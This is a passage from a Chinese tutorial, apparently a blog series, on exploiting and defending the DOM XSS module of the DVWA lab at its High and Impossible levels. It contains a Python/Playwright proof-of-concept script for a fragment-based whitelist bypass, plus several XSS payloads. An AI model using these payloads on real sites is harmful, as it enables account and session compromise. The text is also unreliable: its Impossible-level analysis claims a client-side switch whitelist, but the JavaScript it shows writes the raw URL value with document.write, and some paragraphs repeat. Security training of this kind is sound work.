if r.status_code in (301, 302):
return server_url, "filtered", r
# 页面 JS 是否使用 location.href 作为污染源(href 包含 # fragment)
uses_href = re.search(SINK_HREF_PATTERN, r.text)
has_write = re.search(SINK_WRITE_PATTERN, r.text)
evil_url = f"{self.base}{VULN_PATH}?default=English{quote(bypass_frag, safe='#')}"
if uses_href and has_write:
return evil_url, "bypass", r
return server_url, "no_href_sink", r
def run(self):
print()
# --- 测试 1: 验证白名单过滤 ---
payload = PAYLOADS[0]
print(f"[*] 目标地址: {self.base}{VULN_PATH}")
print(f"[*] 攻击 Payload: {payload}")
print(SEP)
url, status, _ = self.check_filter(payload)
print(f"[+] 生成的恶意 URL: {url}")
if status == "filtered":
print("[-] Payload 被 High 白名单拦截")
print("[-] default 不在白名单(French/English/German/Spanish),已 302 重定向至 ?default=English")
print(SEP)
# --- 测试 2: fragment 绕过 ---
payload = PAYLOADS[1]
print(f"[*] 目标地址: {self.base}{VULN_PATH}")
print(f"[*] 攻击 Payload: {payload}")
print(SEP)
url, status, _ = self.detect_bypass()
print(f"[+] 生成的恶意 URL: {url}")
if status == "bypass":
print("[+] #fragment 不会发送至服务器,default=English 已通过白名单校验!")
print("[+] 页面 JS 从 location.href 读取参数,# 后内容将被写入 DOM!")
print("[+] 确认存在 DOM 型 XSS 漏洞(High 级别 fragment 绕过成功)")
elif status == "no_href_sink":
print("[-] 页面 JS 从 location.search 读取参数,# fragment 不可控")
print("[-] 该 DVWA 版本不适用 fragment 绕过")
else:
print("[-] 绕过失败,payload 被拦截")
print(SEP)
def run_browser(self):
"""Playwright 实弹验证:访问含 fragment 的恶意 URL,监听 alert 弹窗"""
try:
from playwright.sync_api import sync_playwright
except ImportError:
print("[-] --browser 需要: pip install playwright && playwright install chromium")
return
print("\n=== 浏览器实弹验证 ===")
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
# 登录
page.goto(self.base + LOGIN_PATH)
page.fill("input[name='username']", self.username)
page.fill("input[name='password']", self.password)
page.click("input[name='Login']")
page.context.add_cookies(
[{"name": "security", "value": "high", "url": self.base}]
)
evil_url = f"{self.base}{VULN_PATH}?default=English#<img src=x onerror=alert('XSS')>"
fired = {"done": False}
def _on_dialog(d):
fired["done"] = True
d.dismiss()
page.on("dialog", _on_dialog)
page.goto(evil_url)
page.wait_for_timeout(1500)
print(f"[*] Payload: English#<img src=x onerror=alert('XSS')>")
if fired["done"]:
print("[+] alert 弹窗触发,fragment 绕过实弹验证成功!")
else:
print("[-] 未触发弹窗(该版本可能从 location.search 取参,绕过不适用)")
browser.close()
def main():
ap = argparse.ArgumentParser(description="DVWA DOM XSS (xss_d) High 级别检测 PoC")
ap.add_argument("-t", "--target", required=True, help="例如 http://dvwa.cc")
ap.add_argument("-u", "--user", default="admin")
ap.add_argument("-p", "--password", default="password")
ap.add_argument("--browser", action="store_true", help="使用 playwright 实弹验证")
args = ap.parse_args()
poc = DVWADomXPoCHigh(args.target, args.user, args.password)
if not poc.login():
print("[-] 登录失败,请检查账号密码")
sys.exit(1)
print(f"[+] 登录成功: {args.user}")
poc.run()
if args.browser:
poc.run_browser()
print("\n[完成] 仅用于授权测试环境。")
if __name__ == "__main__":
main()
脚本说明与运行结果:
High 级别的防护在服务端对 default 参数执行白名单校验(switch 语句,仅允许 French、English、German、Spanish),不在白名单中的值一律 302 重定向至 ?default=English。由于 DOM XSS 的 payload 同样不会被服务器回显,本脚本采用「白名单拦截验证 + fragment 绕过 + Sink 特征检测」相结合的方式:
- 先以普通 payload(
<script>alert('XSS')</script>)请求目标页面:若响应为 302 且Location指向?default=English,说明非白名单值被拦截,High 防护生效; - 利用 URL 的
#(fragment)部分绕过白名单:fragment 不会被浏览器发送到服务器,因此请求?default=English#<img src=x onerror=alert('XSS')>时,服务端只收到default=English(白名单校验通过,返回 200),而 payload 完整保留在浏览器地址栏中; - 进一步检查响应 JS 中是否同时存在以下两类特征:
document.write(------ 危险输出函数;document.location.href------ 读取完整 URL(包含#后内容),并截取default=之后的全部值;
- 两者同时存在,说明
#后的 payload 会被前端 JS 一并截取并通过document.write写入 DOM 执行,判定 High 级别 fragment 绕过成功、漏洞存在。

6、AI视角下的 DOM XSS 检测
(1)白名单验证的智能化增强
HIGH 级别的白名单是静态的,AI 可辅助实现智能白名单验证:
- 动态白名单:从正常业务流量中自动学习合法的参数值模式;
- 异常检测:识别偏离正常模式的异常输入;
- 上下文感知:结合参数在 JavaScript 中的使用方式判断风险。
(2)客户端 DOM 操作的智能检测
即使服务器端有白名单,客户端 DOM 操作仍可能存在风险。AI 可辅助检测:
- 数据流追踪:追踪 URL 参数到 DOM 写入的完整路径;
- 危险模式识别 :检测
document.write()、innerHTML等危险操作; - 自动修复建议 :建议使用
textContent替代innerHTML。L
7、HIGH级别------小结
HIGH 级别通过服务器端白名单验证,有效阻止了直接的 URL 注入,但仍存在理论上的风险:
- 白名单在服务器端有效,但客户端 JavaScript 仍会从 URL 中提取参数;
- 若攻击者利用 URL 的 fragment(
#后内容)绕过白名单,仍可能触发 DOM XSS; - 真正的 DOM XSS 风险,根源在于客户端 JavaScript 代码本身。
一句话总结:HIGH 级别展示了白名单验证的有效性,但客户端 DOM 操作带来的安全问题,仍需在 JavaScript 层面加以解决。
Impossible 级别在客户端 JavaScript 中采用了安全编码实践,从根本上防范了 DOM XSS 的发生。
其核心安全改进体现在以下三个方面:
- 客户端白名单验证 :在 JavaScript 中仅允许
French、English、German、Spanish四个预定义值; - 仅将白名单内的安全值写入 DOM :通过
switch语句确保只有白名单内的值才会被写入页面; - 安全编码实践 :不使用
innerHTML或document.write()写入用户输入。
五、Impossible 级别 ------ 客户端安全编码
1、漏洞描述
Impossible 级别在客户端 JavaScript 中采用了安全编码实践,从根本上防范了 DOM XSS 的发生。
其核心安全改进体现在以下三个方面:
- 客户端白名单验证 :在 JavaScript 中仅允许
French、English、German、Spanish四个预定义值; - 仅将白名单内的安全值写入 DOM :通过
switch语句确保只有白名单内的值才会被写入页面; - 安全编码实践 :不使用
innerHTML或document.write()写入用户输入。
2、查看网页源代码
PHP 代码(source/impossible.php):
php
<?php
# Don't need to do anything, protection handled on the client side
?>
JavaScript 代码(页面中):
javascript
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
3、分析网页源代码
(1)代码概述
Impossible 级别采用了客户端安全编码,其核心逻辑如下:
- 从
document.URL提取default参数; - 使用
switch语句进行客户端白名单验证; - 仅允许
French、English、German、Spanish四个预定义值; - 其他值一律被替换为默认值
English。
(2)安全分析
| 安全措施 | 实现方式 | 防御效果 |
|---|---|---|
| 客户端白名单验证 | switch 语句精确匹配 |
防止恶意值写入 DOM |
| 精确匹配 | 使用 case 精确匹配字符串 |
防止绕过(如 French<script>) |
| 安全写入 | 只写入白名单内的值 | 避免用户输入直接进入 DOM |
| 默认值替换 | 非法值替换为 English |
保证安全性 |
(3)为什么 Impossible 级别是安全的?
关键在于客户端白名单验证:
- 虽然服务器端没有防护(PHP 代码为空),但客户端 JavaScript 实施了白名单验证;
- 只有四个预定义的安全值会被写入 DOM;
- 任何恶意 Payload 都会落入
default分支,被替换为安全的English; - 用户输入不会被直接写入 DOM。
一句话总结:Impossible 级别通过客户端白名单验证,确保只有安全的预定义值被写入 DOM,从根源上杜绝了 DOM XSS 攻击,使其真正变得 "Impossible"。
4、操作步骤
(1)正常访问白名单值
在浏览器地址栏中,访问白名单内的语言值:
text
http://dvwa.cc/vulnerabilities/xss_d/?default=French
预期结果:页面正常显示 French。
(2)尝试 XSS Payload(被客户端白名单拒绝)
在浏览器地址栏中,尝试注入恶意脚本:
text
http://dvwa.cc/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>
预期结果:页面显示 English(默认值),弹窗未触发。
(3)尝试其他绕过方式(均被拒绝)
| Payload | 页面显示 | 结果 |
|---|---|---|
<img src=x onerror=alert(1)> |
English | ❌ 被拒绝 |
French<script> |
未匹配 | ❌ 被拒绝 |
English%00 |
未匹配 | ❌ 被拒绝 |
5、AI视角下的 DOM XSS 防御
Impossible 级别的客户端白名单验证已经能有效抵御 DOM XSS,但 AI 仍可在以下方面进一步增强防护能力,构建纵深防御体系:
(1)智能客户端防护
动态白名单:传统的静态白名单需要人工维护,难以适应业务快速迭代的需求。AI 可以根据业务需求自动学习并更新白名单,例如:
- 从正常业务流量中提取合法的参数值模式,自动扩充白名单;
- 当业务新增合法的语言选项时,AI 自动识别并纳入白名单,避免人工遗漏;
- 对白名单中的值进行周期性审计,剔除不再使用的冗余项,保持白名单精简高效。
异常检测:AI 可以持续监控 URL 参数的变化规律,识别偏离正常模式的异常输入:
- 基于历史流量建立参数值的统计分布模型,当某个参数值出现频率异常升高时触发告警;
- 检测参数中是否包含 HTML 标签、JavaScript 关键字、编码混淆等攻击特征;
- 结合用户行为分析,识别批量扫描、自动化攻击等可疑访问模式。
实时告警:当检测到可疑的 URL 参数时,AI 系统可以立即触发告警并采取响应措施:
- 在客户端拦截可疑请求,阻止恶意参数进入页面逻辑;
- 将告警信息实时上报至安全运营中心(SOC),便于安全团队及时介入分析;
- 记录完整的攻击上下文(来源 IP、时间戳、Payload 内容),为后续溯源和规则优化提供数据支撑。
(2)客户端 DOM 操作的智能审计
即使采用了白名单验证,客户端 DOM 操作仍可能存在潜在风险。AI 可辅助进行持续审计:
- 数据流追踪:自动追踪 URL 参数从读取到写入 DOM 的完整路径,识别是否存在未经验证的中间环节;
- 危险函数扫描 :定期扫描前端代码,检测
document.write()、innerHTML、eval()等危险函数的使用情况; - 代码变更监控:当前端代码发生变更时,AI 自动对比新旧版本,评估新增代码是否引入新的 DOM XSS 风险。
(3)防御效果评估与持续优化
AI 还可以帮助安全团队评估现有防护措施的有效性,并持续优化防御策略:
- 绕过测试模拟:自动生成多种绕过 payload(编码混淆、标签嵌套、事件处理器变体等),验证白名单的健壮性;
- 防护覆盖率分析:统计各类攻击向量被拦截的比例,识别防护盲区;
- 自适应策略调整:根据攻击趋势和绕过案例,动态调整白名单规则和检测阈值,实现防御能力的持续进化。
一句话总结:Impossible 级别的白名单验证提供了坚实的基线防护,而 AI 的引入则让防护体系具备了动态学习、智能检测和持续进化的能力,真正实现了从"被动防御"到"主动防御"的跨越。
6、Impossible级别------小结
Impossible 级别展示了客户端安全编码的正确实践,其核心防护思路可归纳为以下四点:
- 客户端白名单验证:在 JavaScript 层面严格限制参数取值,从源头阻断恶意输入;
- 精确匹配 :通过
switch语句精确匹配,杜绝绕过可能; - 默认值替换:将非法值统一替换为安全默认值,确保任何异常输入都不会进入 DOM;
- 安全写入:仅将预定义的安全值写入页面,避免用户输入直接参与 DOM 操作。
一句话总结:Impossible 级别通过客户端白名单验证,从根本上杜绝了 DOM XSS,使攻击真正变得 "Impossible"。
六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比
1、防护策略演进对比
| 防护维度 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| 防护位置 | ❌ 无 | ⚠️ 服务器端 | ⚠️ 服务器端 | ✅ 客户端 |
| 防护策略 | 无防护 | 黑名单(<script>) |
白名单验证 | 客户端白名单验证 |
| 过滤完整性 | ❌ 无 | ⚠️ 不完整 | ✅ 严格 | ✅ 严格 |
| 客户端安全 | ❌ 无 | ❌ 无 | ❌ 无(DOM 仍有风险) | ✅ 安全编码 |
2、攻击面变化分析
| 攻击类型 | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
<script> 注入 |
✅ 直接注入 | ❌ 服务器过滤 | ❌ 白名单拒绝 | ❌ 客户端白名单 |
| 其他标签注入 | ✅ 直接注入 | ✅ 可绕过 | ❌ 白名单拒绝 | ❌ 客户端白名单 |
| URL 编码绕过 | ✅ 直接注入 | ⚠️ 部分可行 | ❌ 白名单拒绝 | ❌ 客户端白名单 |
| 白名单绕过 | N/A | N/A | ⚠️ 理论可能 | ❌ 客户端双重验证 |
3、DOM XSS 防御的核心原则
| 原则 | 说明 | 实现级别 |
|---|---|---|
| 客户端白名单验证 | 在 JavaScript 中验证所有用户输入 | Impossible |
| 安全 DOM 操作 | 使用 textContent 而非 innerHTML |
建议 |
| CSP 策略 | 使用内容安全策略限制脚本执行 | 架构级 |
避免 document.write() |
使用更安全的 DOM 操作方法 | 建议 |
| 输入编码 | 对用户输入进行 HTML 编码 | 建议 |
七、总结
1、漏洞全景回顾
| 对比维度 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| 防护层 | 🔴 无 | 🟠 服务器黑名单 | 🟢 服务器白名单 | 🟢 客户端白名单 |
| 防护完整性 | 🔴 无 | 🟠 不完整 | 🟡 完整但位置不对 | 🟢 完整且位置正确 |
| 客户端安全 | 🔴 不安全 | 🔴 不安全 | 🔴 不安全 | 🟢 安全 |
2、关键启发
DOM XSS 的根源在客户端。 与反射型、存储型 XSS 不同,DOM XSS 的漏洞位于客户端 JavaScript 代码中,服务器端过滤无法从根本上解决问题。
白名单的位置至关重要。 HIGH 级别的服务器端白名单虽然有效,但客户端 JavaScript 仍存在风险。真正的解决方案是在客户端同样实施白名单验证。
安全编码是防御的关键。 Impossible 级别通过客户端白名单验证,确保只有安全的预定义值被写入 DOM,从源头杜绝了注入可能。
DOM XSS 的防御思路可概括为: 不信任任何用户输入 → 在客户端验证 → 只写入安全值 → 使用安全
八、AI增强防御建议
1、智能 DOM XSS 检测
| 对比维度 | 传统方案 | AI 增强方案 |
|---|---|---|
| 检测方式 | 依赖人工代码审计 | 自动化 DOM 污染检测 |
| 分析手段 | 基于规则的静态分析 | 基于机器学习的异常检测 |
| 检测能力 | 难以发现复杂漏洞 | 识别隐蔽的 DOM 操作链 |
实现思路:
- 使用静态分析追踪数据从
document.URL到document.write()的完整路径; - 使用 Taint 分析将用户输入标记为"不可信",并追踪其传播路径;
- 使用机器学习识别危险的 DOM 操作模式。
2、基于行为的 XSS 检测
- DOM 操作监控 :监控页面中的
innerHTML、document.write()等危险操作; - 参数异常检测:检测 URL 参数中是否包含可疑字符或编码混淆;
- 实时告警:对可疑的 DOM 操作触发即时告警,阻断攻击链路。
3、实施优先级建议
| 优先级 | 措施 | 实施难度 | 防御效果 |
|---|---|---|---|
| 高 | 客户端白名单验证 | 低 | 高 |
| 高 | 安全 DOM 操作 | 低 | 高 |
| 中 | CSP 策略 | 中 | 中 |
| 中 | 智能 DOM XSS 检测 | 中 | 中 |
| 低 | AI 行为分析 | 高 | 高 |
4、总结
AI 时代的 DOM XSS 防御,不是用 AI 替代传统防御,而是用 AI 增强传统防御。
- 传统防御:提供基础安全基线(白名单验证、安全编码);
- AI 增强:提供智能化的 DOM 操作检测、异常识别和自适应响应。
二者结合,才能构建真正 robust 的 DOM XSS 防御体系。
免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 11 篇文章。
- 上一篇 :从可预测到不可预测:DVWA 弱会话 ID 模块完整漏洞分析教程
- 下一篇 :将进入 XSS (Reflected)(反射型跨站脚本) 模块,带你完整理解反射型 XSS 漏洞的攻防全貌。
👉 点击订阅专栏,第一时间收到更新通知!
如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊